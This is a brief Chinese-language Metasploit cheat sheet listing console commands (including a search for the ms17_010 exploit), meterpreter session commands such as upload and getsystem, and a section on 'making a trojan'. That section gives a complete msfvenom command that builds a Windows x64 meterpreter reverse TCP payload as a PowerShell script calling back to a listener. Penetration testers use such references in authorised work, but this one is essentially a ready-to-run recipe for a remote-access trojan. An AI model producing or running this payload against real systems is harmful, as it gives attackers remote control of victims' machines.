MSF
基本命令
?: 帮助文档show: 显示模块show all: 显示所有模块
search: 搜索模块与漏洞search ms17_010: 搜索漏洞ms17_010
use: 使用模块use 0: 使用搜索到的第一个模块
options: 展示模块选项set: 设置模块选项run: 执行模块
控制命令
显示 meterpreter > 时
?: 帮助文档upload: 文件上传ls: 文件列出getsystem: 获取系统权限(大概率失败)
制作木马
以 windows x64 (powershell) 为例:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.42.1 LPORT=1234 -f psh-reflection > x.ps1